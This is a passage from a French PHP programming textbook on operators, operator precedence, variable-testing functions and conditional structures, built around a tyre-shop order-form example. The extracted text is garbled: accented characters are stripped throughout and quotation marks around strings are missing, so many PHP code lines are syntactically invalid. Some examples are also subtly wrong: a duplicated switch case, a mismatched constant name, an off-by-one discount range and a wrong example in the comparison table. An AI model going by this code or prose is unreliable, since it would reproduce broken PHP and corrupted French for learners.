Partie I

Utilisation de PHP

Tableau 1.2 : Oprateurs combins laffectation (suite)

Oprateur

Exemple

quivalant

/=

$a /= $b

$a = $a / $b

%=

$a%= $b

$a = $a% $b

.=

$a .= $b

$a = $a . $b

Oprateurs de pr/postincrmentation et de pr/postdcrmentation


Les oprateurs de pr/postincrmentation (++) et de pr/postdcrmentation ( ) sont
quivalents aux oprateurs += et =, quelques dtails prs.
Tous les oprateurs dincrmentation ont deux effets : dune part ils incrmentent,
dautre part ils affectent une valeur. Soit les instructions suivantes :
$a = 4;
echo ++$a;

La seconde instruction utilise loprateur de princrmentation, ainsi nomm parce


quil figure avant loprande $a. Lorsque linterprteur PHP rencontre cet oprateur, il
commence par incrmenter $a de 1, puis il renvoie la valeur ainsi incrmente. Dans ce
cas prcis, $a est incrmente la valeur 5, puis la valeur 5 est renvoye et affiche. La
valeur de lexpression complte est 5 (notez que la valeur stocke dans $a a bien t
modifie : PHP ne se contente pas de retourner simplement $a+1).
Lorsque loprateur ++ figure aprs loprande, il est qualifi doprateur de postincrmentation. Leffet produit est diffrent. Soit les instructions suivantes :
$a=4;
echo $a++;

Dans ce cas, linterprteur PHP accomplit le traitement inverse : il renvoie et affiche


dabord la valeur de $a et ce nest quensuite quil lincrmente. La valeur de lexpression complte est dans ce cas 4, cest--dire la valeur qui est affiche. Cependant, une
fois que linstruction a t excute, $a contient la valeur 5.
Loprateur de dcrmentation ( ) a un comportement analogue, si ce nest que la
valeur de loprande est dcrmente au lieu dtre incrmente.
Oprateur de rfrence
Loprateur de rfrence & (esperluette) peut tre utilis avec loprateur daffectation.
Normalement, lorsquune variable est affecte une autre, linterprteur PHP effectue
une copie de la premire variable quil stocke quelque part dans la mmoire de lordinateur. Par exemple, considrez les instructions suivantes :
$a = 5;
$b = $a;

Chapitre 1

PHP : les bases

39

Ces lignes de code conduisent la cration dune copie de $a et au stockage de cette


copie dans $b. Par la suite, si la valeur de $a est modifie, la valeur de $b restera
inchange :
$a = 7; // $b vaut toujours 5

Loprateur de rfrence & permet dviter de faire une copie, comme le montre lexemple
suivant :
$a = 5;
$b = &$a;
$a = 7; // les variables $a et $b ont toutes les deux la valeur 7

Les rfrences peuvent tre un peu difficiles comprendre, mais il suffit de considrer
quune rfrence sapparente un alias plutt qu un pointeur. $a et $b pointent toutes
deux vers la mme section de mmoire, mais vous pouvez modifier cela en rinitialisant
lune delles comme ceci :
unset($a);

Cette instruction ne change pas la valeur de $b (7) mais rompt le lien entre $a et la
valeur 7 stocke en mmoire.
Oprateurs de comparaison
Les oprateurs de comparaison servent comparer deux valeurs entre elles. Les expressions contenant de tels oprateurs renvoient les valeurs logiques true (vrai) ou false
(faux), selon le rsultat de la comparaison.
Oprateur dgalit
Loprateur dgalit == (deux signes gal) permet de dterminer si deux valeurs sont
gales. Par exemple, nous pourrions utiliser lexpression :
$a == $b

pour tester si les valeurs stockes dans $a et $b sont identiques. Linterprteur PHP
renvoie la valeur true si les valeurs sont gales et la valeur false si elles sont diffrentes.
Loprateur dgalit se confond facilement avec loprateur daffectation. Une telle
confusion est dautant plus dangereuse quelle ne provoque pas une erreur mais conduit
simplement un rsultat qui nest pas celui escompt. En effet, les valeurs non nulles
sont gnralement values comme true tandis que les valeurs nulles sont values
comme false. Supposons que deux variables soient initialises de la manire suivante :
$a = 5;
$b = 7;

40

Partie I

Utilisation de PHP

Sil est amen tester lexpression $a = $b, linterprteur PHP renvoie la valeur true et
la raison est facile comprendre : la valeur de lexpression $a = $b est la valeur affecte
loprande qui figure gauche de loprateur daffectation, cest--dire ici 7. Cette
valeur tant non nulle, lexpression est value comme true. Si votre intention initiale
tait de tester lexpression $a == $b (au lieu de $a = $b), qui serait value comme false
par linterprteur PHP, vous avez introduit dans votre code une erreur logique qui peut se
rvler trs difficile dtecter. Vous devez par consquent vous montrer trs prudent lorsque vous avez recours loprateur daffectation ou loprateur dgalit et vrifier
systmatiquement que vous ne confondez pas ces deux oprateurs.
Cette confusion entre les oprateurs daffectation et dgalit est trs courante et
vous vous y heurterez probablement plusieurs fois au cours de votre carrire de
programmeur.
Autres oprateurs de comparaison
PHP comprend tout un jeu doprateurs de comparaison. Ceux-ci sont dcrits dans le
Tableau 1.3.
Loprateur didentit (===) ne renvoie true que si ces deux oprandes sont gaux et du
mme type. Par exemple, 0==0 sera vrai, mais 0===0 ne le sera pas car lun des
zros est un entier et lautre est une chane.
Tableau 1.3 : Oprateurs de comparaison de PHP

Oprateur

Nom

Exemple

==

gal

$a == $b

===

Identique

$a === $b

!=

Diffrent

$a!= $b

<>

Diffrent

$a <> $b

<

Infrieur

$a < $b

>

Suprieur

$a > $b

<=

Infrieur ou gal

$a <= $b

>=

Suprieur ou gal

$a!= $b

Oprateurs logiques
Les oprateurs logiques servent combiner les rsultats de conditions logiques. Par exemple, considrons le cas dune variable $a dont la valeur est comprise entre 0 et 100. Pour

Chapitre 1

PHP : les bases

41

vrifier que la valeur de $a est bien situe dans cette plage, il nous faudrait tester les conditions $a >= 0 et $a <= 100 en nous servant de loprateur ET de la manire suivante :
$a >= 0 && $a <=100

Le langage PHP comprend les oprateurs logiques ET, OU, OU EXCLUSIF et NON.
Le Tableau 1.4 dcrit ces diffrents oprateurs.
Tableau 1.4 : Oprateurs logiques de PHP

Oprateur Nom

Exemple

Rsultat

NON

!$b

Renvoie true si $b est faux et vice versa.

&&

ET

$a && $b

Renvoie true lorsque $a et $b sont tous deux vrais ; sinon


false.

||

OU

$a || $b

Renvoie true lorsque soit $a, soit $b est vrai et lorsque $a


et $b sont tous les deux vrais ; sinon renvoie false.

and

ET

$a and $b Identique &&, mais avec une priorit plus basse.

or

OU

$a or $b

xor

$a xor $b Renvoie true si $a ou $b est vrai, mais pas les deux.


OU
EXCLUSIF
Renvoie false si $a et $b valent tous les deux vrais ou
tous les deux faux.

Identique ||, mais avec une priorit plus basse.

Les oprateurs and et or ont une priorit plus faible que celle des oprateurs && et ||. Nous
reviendrons sur la notion de priorit des oprateurs un peu plus loin dans ce chapitre.
Oprateurs sur les bits
Les oprateurs sur les bits permettent de traiter les nombres entiers sous la forme de
suites de bits utilises pour les reprsenter.
Bien que ces oprateurs soient peu utiles dans le contexte des programmes PHP, vous
en trouverez une description exhaustive dans le Tableau 1.5.
Tableau 1.5 : Oprateurs bits bits de PHP

Oprateur

Nom

Exemple

Rsultat

&

ET bit bit

$a & $b

Les bits positionns 1 dans $a et dans $b sont


positionns 1 dans le rsultat.

OU bit bit

$a | $b

Les bits positionns 1 dans $a ou dans $b sont


positionns 1 dans le rsultat.

~$a
NON bit bit
(complment un)

Les bits qui sont positionns 1 dans $a sont


positionns 0 dans le rsultat, et vice versa.

42

Partie I

Utilisation de PHP

Tableau 1.5 : Oprateurs bits bits de PHP (suite)

Oprateur

Nom

Exemple

Rsultat

OU EXCLUSIF
bit bit

$a ^ $b

Les bits positionns 1 dans $a ou $b, mais pas


dans les deux, sont positionns 1 dans le rsultat.

<<

Dcalage gauche $a << $b

Dcale les bits de $a de $b positions vers la gauche.

>>

Dcalage droite

Dcale les bits de $a de $b positions vers la droite.

$a >> $b

Autres oprateurs
Outre les oprateurs dcrits jusquici, PHP dispose de plusieurs autres oprateurs.
Loprateur virgule (,) semploie pour sparer les arguments dune fonction ainsi que
les lments dune liste. Il est gnralement utilis lintrieur de parenthses.
Les deux oprateurs spciaux new et > sutilisent respectivement pour instancier une classe
et pour accder aux membres dune classe. Nous les tudierons en dtail au Chapitre 6.
Il existe encore trois autres oprateurs, que nous allons brivement dcrire dans les
prochaines sous-sections.
Loprateur ternaire
Loprateur ternaire ?: sutilise de la manire suivante :
condition? valeur si vraie: valeur si fausse

Il est donc quivalent la version expression de linstruction if


est traite plus loin dans ce chapitre).

else (cette dernire

Voici un exemple simple dapplication :


($note > 50? Reu: Recal);

Cette expression permet de dterminer si les tudiants sont reus ou recals leur examen.
Loprateur de suppression derreur
Loprateur de suppression derreur @ peut sutiliser devant nimporte quelle expression,
cest--dire devant tout ce qui produit ou contient une valeur. Soit linstruction suivante :
$a = @(57/0);

En labsence de loprateur @, cette ligne de code produit un message derreur de division


par zro. La prsence de loprateur @ vite laffichage de ce message.
Si vous utilisez loprateur @, prvoyez du code de gestion des erreurs pour dtecter les
erreurs qui se produisent. Si vous avez configur PHP en activant le paramtre

Chapitre 1

PHP : les bases

43

track errors, les messages derreur gnrs seront automatiquement stocks dans la
variable globale $php errormsg.

Loprateur dexcution
Loprateur dexcution se compose en fait dune paire doprateurs : ``, ou backticks.
Il sagit l non pas dune paire dapostrophes simples mais dapostrophes inverses.
Linterprteur PHP essaye dexcuter tout ce qui est insr entre les deux apostrophes
inverses comme une commande lance sur la ligne de commande du serveur. La valeur
de lexpression est alors le rsultat de lexcution de la commande.
Par exemple, sur un systme dexploitation de type Unix, vous pouvez crire :
$out = `ls -la`;
echo <pre>.$out.</pre>;

ou, de la mme manire, sur un serveur Windows :


$out = `dir c:`;
echo <pre>.$out.</pre>;

Lexcution de chacun de ces fragments de code produit une liste du contenu du rpertoire et la stocke dans la variable $out. Celle-ci peut ensuite tre passe en paramtre la
fonction echo pour un affichage dans le navigateur ou traite dune tout autre manire.
Au Chapitre 17, nous tudierons dautres faons dexcuter des commandes sur un
serveur.
Oprateurs de tableau
Loprateur [ ] permet daccder aux lments dun tableau. On se sert galement de
loprateur => dans certains contextes de tableau. Ces oprateurs seront examins au
Chapitre 3.
Vous avez galement accs un certain nombre dautres oprateurs de tableau. Nous
les prsenterons en dtail au Chapitre 3, mais ils sont inclus ici par souci dexhaustivit.
Tableau 1.6 : Oprateurs de tableau de PHP

Oprateur Nom

Utilisation Rsultat

Union

$a + $b

Renvoie un tableau contenant tout dans $a et $b.

==

galit

$a == $b

Renvoie true si $a et $b possdent les mmes lments.

===

Identit

$a === $b Renvoie true si $a et $b possdent les mmes lments

dans le mme ordre.

44

Partie I

Utilisation de PHP

Tableau 1.6 : Oprateurs de tableau de PHP

Oprateur Nom

Utilisation Rsultat

!=

Ingalit

$a!= $b

Renvoie true si $a et $b ne sont pas gaux.

<>

Ingalit

$a <> $b

Renvoie true si $a et $b ne sont pas gaux.

!==

Non-identit $a!== $b Renvoie true si $a et $b ne sont pas identiques.

Vous remarquerez que les oprateurs de tableau du Tableau 1.6 ont tous des oprateurs quivalents qui fonctionnent avec les variables scalaires. Pour autant que vous
vous souveniez que + opre une addition avec les types scalaires et une union avec les
tableaux, les comportements devraient tre cohrents. Vous ne pouvez pas comparer
des tableaux des types scalaires de manire utile.
Loprateur de type
Il nexiste quun seul oprateur de type : instanceof. Cet oprateur est utilis dans la
programmation oriente objet, mais nous le mentionnons ici par souci dexhaustivit (la
programmation oriente objet est prsente au Chapitre 6).
instanceof vous permet de vrifier si un objet est une instance dune classe particulire, comme dans cet exemple :
class classeExemple{};
$monObjet = new classeExemple();
if ($monObjet instanceof classeExemple)
echo "monObjet est une instance de classeExemple";

Utilisation des oprateurs : calcul des totaux dun formulaire


Maintenant que vous connaissez les oprateurs du langage PHP, nous allons pouvoir
calculer les totaux et la taxe du formulaire de commande de Bob.
Pour cela, ajoutez le code suivant la fin de votre script PHP :
$qte_totale = 0;
$qte_totale = $qte_pneus+ $qte_huiles+ $qte_bougies;
echo Articles commands: .$qte_totale.<br />;
$montant_total = 0.00;
define(PRIX_PNEUS, 100);
define(PRIX_HUILES, 10);
define(SPARKPRICE, 4);
$montant_total = $qte_pneus * PRIX_PNEUS
+ $qte_huiles * PRIX_HUILES

Chapitre 1

PHP : les bases

45

+ $qte_bougies * PRIX_BOUGIES;
echo Sous-total: . number_format($montant_total, 2).<br />;
$taux_taxe= 0.10; // le taux de la taxe est de 10%
$montant_total = $montant_total * (1 + $taux_taxe);
echo Total avec les taxes: . number_format($montant_total, 2).
<br />;

Si vous actualisez la page dans votre navigateur, vous devriez obtenir un rsultat
comme celui de la Figure 1.5.
Figure 1.5
Les totaux de la
commande client
ont t calculs, mis
en forme et affichs.

Comme vous pouvez le constater, ce morceau de code fait intervenir plusieurs oprateurs. Les oprateurs daddition (+) et de multiplication (*) y sont utiliss pour calculer
les montants, tandis que loprateur de concatnation de chanes ( .) sert mettre en
forme la sortie des donnes dans la fentre du navigateur.
Par ailleurs, nous faisons appel la fonction number format() pour mettre en forme les
totaux sous forme de chanes deux dcimales. Cette fonction appartient la bibliothque
mathmatique de PHP.
Si vous examinez attentivement les calculs effectus dans le dernier fragment de code
ajout votre script, vous vous interrogerez peut-tre sur lordre dans lequel ces calculs
sont effectus. Considrez par exemple linstruction :
$montant_total = $qte_pneus* PRIX_PNEUS
+$qte_huiles* PRIX_HUILES
+$qte_bougies * PRIX_BOUGIES;

Le total obtenu semble correct (voir Figure 1.5), mais pourquoi les multiplications ontelles t effectues avant les additions ? La rponse cette question rside dans la
notion de priorit des oprateurs, cest--dire dans lordre selon lequel linterprteur
PHP value les oprateurs.

46

Partie I

Utilisation de PHP

Priorit et associativit des oprateurs : ordre dvaluation


des expressions
En gnral, chaque oprateur est associ un niveau de priorit qui dtermine lordre selon
lequel cet oprateur sera valu dans une expression contenant plusieurs op-rateurs.
Les oprateurs ont une autre proprit : lassociativit, qui est lordre selon lequel des
oprateurs de mme priorit sont valus. Lassociativit dun oprateur peut tre dfinie
de gauche droite ou bien de droite gauche, ou alors cest quelle nest pas pertinente.
Le Tableau 1.7 dcrit les priorits et les associativits des oprateurs de PHP.
Les oprateurs de plus faible priorit sont en haut du tableau et la priorit des oprateurs
augmente mesure que lon descend dans le tableau.
Tableau 1.7 : Priorits des oprateurs de PHP

Associativit

Oprateur

de gauche droite

de gauche droite

or

de gauche droite

xor

de gauche droite

and

de droite gauche

print

de gauche droite

= +=

de gauche droite

?:

de gauche droite

||

de gauche droite

&&

de gauche droite

de gauche droite

de gauche droite

&

non pertinent

==!= ===!==

non pertinent

< <= > >=

de gauche droite

<< >>

de gauche droite

de gauche droite

* /%

de droite gauche

! ~ ++

de droite gauche

[]

non pertinent

new

non pertinent

()

= *= /= .=%= &= |= ^= ~= <<= >>=

(int) (double) (string) (array) (object) @

Chapitre 1

PHP : les bases

47

Notez que nous navons pas encore tudi loprateur de plus forte priorit : la traditionnelle paire de parenthses. Celle-ci sutilise pour renforcer la priorit dune partie
dune expression, afin de forcer son valuation et de contourner les rgles de priorit
des oprateurs.
Considrez linstruction qui suit, tire du dernier exemple tudi :
$montant_total = $montant_total * (1+$taux_taxe);

Si nous avions crit :


$montant_total = $montant_total * 1+$taux_taxe;

loprateur de multiplication aurait t valu en premier puisque sa priorit est plus


forte que celle de loprateur daddition. Le rsultat obtenu aurait alors t incorrect. En
utilisant des parenthses, nous pouvons contraindre linterprteur PHP valuer en
premier la sous-expression 1+$taux taxe.
Vous pouvez insrer dans une expression autant de paires de parenthses que ncessaire. Le jeu de parenthses le plus interne est valu en premier.
Notez galement la prsence dans ce tableau dun autre oprateur que nous navons pas
encore couvert : linstruction print, qui quivaut echo.
Nous utiliserons gnralement echo dans ce livre, mais vous pouvez utiliser print si
vous le trouvez plus lisible. print et echo ne sont ni lun ni lautre vritablement des
fonctions mais peuvent tous deux tre appels comme des fonctions avec des paramtres
entre parenthses. Tous les deux peuvent galement tre traits comme des oprateurs : il
suffit de placer la chane afficher aprs le mot-cl echo ou print.
Le fait dappeler print comme une fonction lamne renvoyer une valeur (1), ce qui
peut se rvler utile si vous souhaitez produire une sortie lintrieur dune expression
plus complexe, mais cela signifie que print est un peu plus lent que echo.

Fonctions sur les variables


Avant den terminer avec les variables et les oprateurs, nous devons encore examiner
les fonctions sur les variables. Il sagit dune bibliothque de fonctions permettant de
manipuler et de tester les variables de diffrentes manires.
INFO
Ce livre ainsi que la documentation de php.net font rfrence au type de donnes mixed. Ce
type de donnes nexiste pas mais, PHP tant caractris par une extrme souplesse pour les
types de donnes, de nombreuses fonctions acceptent plusieurs types de donnes (quand ce
nest pas tous) comme argument. Lorsque lon peut employer des arguments de plusieurs
types de donnes, nous le signalons par le type mixed.

48

Partie I

Utilisation de PHP

Test et dfinition des types de variables


La plupart des fonctions de variables sutilisent pour tester le type des variables.
Les deux fonctions de variables les plus gnrales sont gettype() et settype(). Les
prototypes de ces fonctions (cest--dire les descriptions des arguments quelles attendent
et des valeurs quelles renvoient) sont les suivants :
string gettype(mixed var);
bool settype(mixed var, chane type);

gettype() semploie en lui passant une variable. La fonction dtermine alors le type de
la variable et renvoie une chane contenant le nom du type : bool, int, double, string,
array, object, resource ou NULL. Elle renvoie unknown type sil ne sagit pas dun des
types PHP standard.

Pour utiliser settype(), il faut passer la fonction la variable dont le type doit tre
modifi, ainsi quune chane contenant le nom du nouveau type appliquer la variable
(voir la liste donne dans le paragraphe prcdent). Voici des instructions illustrant
lusage de ces deux fonctions de variables :
$a = 56;
echo gettype($a).<br>;
settype($a, double);
echo gettype($a).<br>;

Lors du premier appel de la fonction gettype(), la variable $a est de type entier (int).
Aprs lappel de settype(), $a est du type double.
PHP fournit galement des fonctions testant un certain type de variable. Chacune
de ces fonctions prend une variable comme argument et retourne soit true, soit false.
Ces fonctions sont les suivantes :
m

is array().

is double(), is float(), is real() (la mme fonction).

is long(), is int(), is integer() (la mme fonction).

is string().

is bool().

is object().

is resource().

is null().

is scalar(). Teste si la variable est scalaire (entier, boolen, chane ou double).

is numeric(). Teste si la variable est un nombre ou une chane numrique.

is callable(). Teste si la variable est le nom dune fonction valide.

Chapitre 1

PHP : les bases

49

Test de ltat dune variable


PHP fournit plusieurs fonctions pour tester ltat dune variable.
La premire de ces fonctions est isset(), dont le prototype est le suivant :
bool isset(mixed var[, mixed var[,]]);

Cette fonction prend un nom de variable comme argument et renvoie true si la variable
existe et false dans le cas contraire. Vous pouvez galement passer une liste de variables
spares par des virgules et isset() renverra true si toutes les variables sont dfinies.
Vous pouvez supprimer une variable au moyen de la fonction unset(), qui fait pendant
la fonction isset(). La fonction unset() a le prototype suivant :
void unset(mixed var[, mixed var[,]]);

La fonction unset() supprime la ou les variables qui lui sont passes en paramtre.
La fonction empty() dtermine si une variable existe et contient une valeur non vide et non
nulle. Elle renvoie true ou false selon le rsultat obtenu. Son prototype est le suivant :
bool empty(mixed var);

Examinons un exemple utilisant ces trois fonctions. Tapez les lignes suivantes la fin
de votre script :
echo
echo
echo
echo

isset($qte_pneus): .isset($qte_pneus).<br />;


isset($absent): .isset($absent).<br />;
empty($qte_pneus): .empty($qte_pneus).<br />;
empty($absent): .empty($absent).<br />;

Actualisez la page dans votre navigateur pour observer le rsultat produit par cette srie
dinstructions.
La fonction isset() applique la variable $qte pneus devrait retourner la valeur 1
(true), quelle que soit la valeur saisie dans le champ de formulaire associ cette
variable. Le rsultat retourn par la fonction empty() applique cette variable dpend
en revanche de la valeur saisie (ou non saisie) dans le champ de formulaire.
La variable $absent nexistant pas, la fonction isset() applique ce nom de variable retourne un rsultat vide (false), tandis que la fonction empty() renvoie 1 (true).
Ces fonctions se rvlent donc trs pratiques pour dterminer si lutilisateur du formulaire a ou non rempli les champs qui lui sont proposs.
Rinterprtation des variables
PHP met votre disposition des fonctions qui permettent de mettre en uvre lquivalent
dun transtypage des variables. Voici trois fonctions permettant de raliser cette opration :
int intval(mixed var[, int base]);
float floatval(mixed var);
string strval(mixed var);

50

Partie I

Utilisation de PHP

Chacune de ces fonctions prend une variable en paramtre et renvoie la valeur de cette
variable aprs avoir ralis sa conversion dans le type appropri. La fonction intval()
peut galement vous permettre de spcifier la base pour la conversion lorsque la variable convertir est une chane (vous pouvez ainsi convertir des chanes hexadcimales
en entiers, par exemple).

Structures de contrle
Dans un langage de programmation, les structures de contrle permettent de contrler
le flux dexcution au sein dun programme ou dun script. Les structures de contrle
peuvent tre classes en deux groupes : les structures conditionnelles (ou de branchement) et les structures de rptition, ou boucles. Les sections qui suivent sont consacres
ltude de chacune de ces structures en PHP.

Prise de dcision avec des structures conditionnelles


Pour quun programme rponde pertinemment son utilisateur, il faut quil soit capable
de prendre des dcisions. Les constructions dun programme qui indiquent quune
dcision doit tre prise sont appeles "structures conditionnelles".
Instructions if
Nous pouvons utiliser une structure if pour prendre une dcision. Pour cela, nous
devons spcifier une condition. Si la condition est vraie, le bloc de code qui la suit
est excut. Les conditions des instructions if doivent tre spcifies entre parenthses ().
Par exemple, si le formulaire de commande en ligne de lentreprise de Bob est renvoy
par un client sans aucun article command, cest sans doute que le client a actionn par
inadvertance le bouton "Passer commande" avant davoir fini de remplir le formulaire.
Au lieu dafficher le message "Commande traite", le navigateur pourrait alors produire
un texte plus appropri, comme "Votre commande ne contient aucun article !".
Laffichage dun tel avertissement simplmente trs facilement au moyen dune
instruction if :
if( $qte_totale == 0 )
echo Votre commande ne contient aucun article!<br />;

La condition utilise ici est $qte totale == 0. Rappelez-vous que loprateur dgalit
(==) est diffrent de loprateur daffectation (=).
La condition $qte totale == 0 est vraie si la variable $qte totale est gale zro. Si
$qte totale est diffrente de zro, la condition est fausse. Lorsque la condition est
value comme vraie (true), linstruction echo est excute.

Chapitre 1

PHP : les bases

51

Blocs de code
Dans les structures conditionnelles telles quune structure if, il est souvent ncessaire
dexcuter plusieurs instructions. Dans ce cas, vous navez pas besoin de placer une
nouvelle instruction if avant chaque instruction excuter : il suffit de regrouper les instructions de manire former un bloc. Pour dclarer un bloc, encadrez-le par des accolades :
if( 0 == $qte_totale )
{
echo <p style="color:red">;
echo Votre commande ne contient aucun article!;
echo </p>;
}

Les trois lignes de code places ici entre accolades forment un bloc de code. Lorsque la
condition est value comme vraie, tout le bloc (cest--dire les trois lignes qui le constituent) est excut. Lorsque la condition se rvle fausse, le bloc est intgralement
ignor par linterprteur PHP.
INFO
Comme nous lavons dj mentionn, linterprteur PHP ignore la mise en forme du code. Il
est par consquent fortement recommand dindenter votre code pour en amliorer la lisibilit. Des mises en retrait judicieuses permettent de discerner dun seul coup dil les lignes
des structures conditionnelles qui sont excutes lorsque les conditions sont satisfaites, les
instructions qui sont regroupes en blocs et les instructions qui font partie de boucles ou de
fonctions. Dans les exemples prcdents, linstruction qui dpend de linstruction if et les
instructions qui constituent le bloc sont indentes.

Instructions else
Souvent, il ne suffit pas de dcider quune action doit tre accomplie : il faut aussi choisir
celle qui, parmi un ensemble dactions, doit tre excute.
Une instruction else permet de spcifier une action alternative accomplir lorsque la
condition spcifie dans une instruction if se rvle fausse. Dans lexemple de lentreprise de Bob, il est ncessaire dalerter les clients sils transmettent une commande
vide. Par ailleurs, sils soumettent une commande valide, il faut leur renvoyer un rcapitulatif de leur commande, pas un message davertissement.
Pour prsenter aux clients soit une alerte, soit un rcapitulatif, nous pouvons introduire
une instruction else dans notre code, comme suit :
if( $qte_totale == 0 )
{
echo Votre commande ne contient aucun article!<br>;
}
else
{
echo $qte_pneus . pneus<br>;
echo $qte_huiles . bidons d\huile<br>;
echo $qte_bougies . bougies<br>;
}

52

Partie I

Utilisation de PHP

Vous pouvez ainsi construire des processus logiques complexes en imbriquant des
instructions if les unes dans les autres. Dans le code qui suit, le message davertissement
ne saffichera que lorsque la condition $qte totale == 0 est value comme vraie et
chaque ligne de ce rcapitulatif ne sera produite que si sa propre condition est vraie.
if( $qte_totale == 0)
{
echo Votre commande ne contient aucun article!<br>;
}
else
{
if ( $qte_pneus > 0 )
echo $qte_pneus . pneus<br>;
if ( $qte_huiles > 0 )
echo $qte_huiles . bidons d\huile<br>;
if ( $qte_bougies > 0 )
echo $qte_bougies . bougies<br>;
}

Instructions elseif
Dans bon nombre de situations de prise de dcision, vous devez choisir entre plus de
deux possibilits. Linstruction elseif permet alors de crer une suite de plusieurs
options ; cest une combinaison dune instruction else et dune instruction if. Lorsque
lon prcise une suite de conditions, le programme peut tester chaque condition, jusqu
en trouver une qui soit vraie.
Pour les grosses commandes de pneus, Bob accorde des remises ses clients. Le principe de ces remises est le suivant :
m

moins de 10 pneus achets, aucune remise ;

10-49 pneus achets, 5 % de remise ;

50-99 pneus achets, 10 % de remise ;

100 pneus achets ou plus, 15 % de remise.

Nous pouvons crire le code pour calculer la remise accorde en utilisant des conditions et
des instructions if et elseif, ainsi que loprateur ET (&&) pour combiner deux conditions :
if( $qte_pneus < 10 )
$remise = 0;
elseif( $qte_pneus >= 10 && $qte_pneus <= 49 )
$remise = 5;
elseif( $qte_pneus>= 50 && $qte_pneus <= 99 )
$remise = 10;
elseif( $qte_pneus > 100 )
$remise = 15;

Notez que vous pouvez indiffremment crire elseif ou else if (avec ou sans espace
intermdiaire).
Dans cette cascade dinstructions elseif, une seule instruction (ou un seul bloc
dinstruction) sera excute. Ce point na pas dimportance dans ce cas prcis parce que

Chapitre 1

PHP : les bases

53

les diffrentes conditions spcifies sexcluent mutuellement les unes des autres (une
seule est vraie un moment donn). En revanche, lorsque plusieurs conditions dun
ensemble peuvent tre vraies simultanment, seule linstruction (ou le bloc dinstructions)
qui suit la premire condition value comme vraie sera excute.
Instructions switch
Une instruction switch est comparable une instruction if, si ce nest quelle permet
dimplmenter une condition susceptible de prendre plus de deux valeurs diffrentes.
Dans une instruction if, la condition peut tre value soit comme vraie, soit comme
fausse alors quavec une instruction switch la condition peut prendre diffrentes
valeurs, pourvu quelles soient toutes du mme type (entier, chane ou double). Vous
devez alors faire appel une instruction case pour grer chaque valeur possible de la
condition et ajouter, ventuellement, un cas par dfaut pour prendre en compte toutes
les situations qui ne correspondent aucune des instructions case.
Bob aimerait connatre la forme de publicit qui se rvle la plus profitable son
commerce. cette fin, il souhaite inclure un sondage dans le formulaire de commande.
Insrez ce code HTML dans votre formulaire de commande et vous obtiendrez le rsultat
montr la Figure 1.6 :
<tr>
<td>Comment avez-vous eu connaissance de notre site?</td>
<td><select name="trouver">
<option value = "a">Client rgulier</option>
<option value = "b">Par un spot publicitaire</option>
<option value = "c">Dans un annuaire tlphonique</option>
<option value = "d">Par un ami</option>
</select>
</td>
</tr>

Figure 1.6
Le formulaire de
commande demande
aux visiteurs comment
ils ont connu le site de
Bob.

54

Partie I

Utilisation de PHP

Ce code HTML ajoute la variable de formulaire trouver, qui peut prendre les valeurs
"a", "b", "c" ou "d". Son traitement en PHP pourrait seffectuer au moyen dune srie
dinstructions if et elseif, comme ici :
if($trouver == a)
echo <P>Client rgulier.</P>;
elseif($trouver == b)
echo <P>Client attir par un spot TV. </P>;
elseif($trouver == c)
echo <P>Client attir par un annuaire tlphonique. </P>;
elseif($trouver == d)
echo <P>Client attir par un ami. </P>;
else
echo <P>Impossible de savoir comment ce client nous a
trouvs.</P>;

Nous pourrions galement parvenir au mme rsultat avec une instruction switch :
switch($trouver)
{
case a:
echo <P>Client rgulier. </P>;
break;
case b:
echo <P> Client attir par un spot TV. </P>;
break;
case c:
echo <P>Client attir par un annuaire tlphonique. </P>;
break;
case c:
echo <P>Client attir par un ami. </P>;
break;
default:
echo <P>Impossible de savoir comment ce client nous a
trouvs.</P>;
break;
}

Ces deux exemples supposent que vous ayez extrait $trouver du tableau $ POST.
Une instruction switch se comporte un peu diffremment dune instruction if ou dune
instruction elseif. Une instruction if naffecte quune seule instruction, moins quun
bloc de code nait t dlibrment cr avec une paire daccolades. Une instruction
switch a le comportement inverse : lorsquune instruction case dune structure switch
est active, linterprteur PHP excute les instructions qui suivent jusqu rencontrer
une instruction break. En labsence dinstruction break, une structure switch conduit
lexcution de tout le code succdant linstruction case value comme vraie. Lorsque linterprteur PHP atteint une instruction break, il excute la ligne de code qui suit
la structure switch.

Chapitre 1

PHP : les bases

55

Comparaison des diffrentes structures conditionnelles


Pour le dbutant, le choix entre les diffrentes structures conditionnelles disponibles
peut se rvler ardu.
Le choix de lune ou de lautre est, en effet, assez dlicat puisque tout processus qui
peut tre implment au moyen dinstructions else, elseif ou switch peut galement
ltre au moyen dune srie dinstructions if. Essayez dadopter la structure conditionnelle qui soit la plus lisible dans le contexte du problme trait. Cest ensuite lexprience qui vous permettra de trouver les rponses les plus appropries.

Structures de rptition : itrations


Les ordinateurs sont particulirement apprciables lorsquil sagit daccomplir de
manire automatique des tches rptitives. Si une action doit tre entreprise de la
mme manire plusieurs fois de suite, vous pouvez utiliser une boucle pour rpter
lexcution dun mme fragment de code au sein dun programme.
Bob veut afficher un tableau donnant le cot dexpdition de la commande, qui sera
ajout la commande du client. Ce cot dexpdition dpend de la distance parcourue
par la commande entre lentrept et le client et peut tre calcul par une simple formule.
Le rsultat recherch est montr la Figure 1.7.
Figure 1.7
Ce tableau donne les
frais dexpdition en
fonction de la distance.

Le Listing 1.2 contient le code HTML qui produit ce tableau. Vous pouvez constater
quil est long et rptitif.
Listing 1.2 : freight.html Code HTML gnrant le tableau des cots dexpdition
pays par Bob
<html>
<body>
<table border ="0" cellpadding ="3">
<tr>

56

Partie I

Utilisation de PHP

<td bgcolor ="#CCCCCC" align ="center">Distance</td>


<td bgcolor ="#CCCCCC" align ="center">Cot</td>
</tr>
<tr>
<td align =right>50</td>
<td align =right>5</td>
</tr>
<tr>
<td align =right>100</td>
<td align =right>10</td>
</tr>
<tr>
<td align =right>150</td>
<td align =right>15</td>
</tr>
<tr>
<td align =right>200</td>
<td align =right>20</td>
</tr>
<tr>
<td align =right>250</td>
<td align =right>25</td>
</tr>
</table>
</body>
</html>

Du fait de sa structure rptitive, ce code HTML pourrait tre gnr partir dun script
plutt que manuellement. Nous disposons pour cela des structures de rptition qui
permettent dexcuter une instruction ou un bloc de code de manire rptitive.
Boucles while
La boucle while est la structure de rptition la plus simple de PHP. Tout comme
une structure if, elle repose sur le test dune condition. Une boucle while diffre
toutefois dune structure if par le fait quelle excute le bloc de code qui la suit tant
que la condition reste vraie alors quune structure if nexcute quune fois ce bloc
de code si la condition est vraie. Une boucle while sutilise en gnral lorsquon
ignore le nombre de rptitions effectuer pour faire passer la condition de "vrai"
"faux". Lorsque le nombre de rptitions est connu lavance, mieux vaut employer
une boucle for.
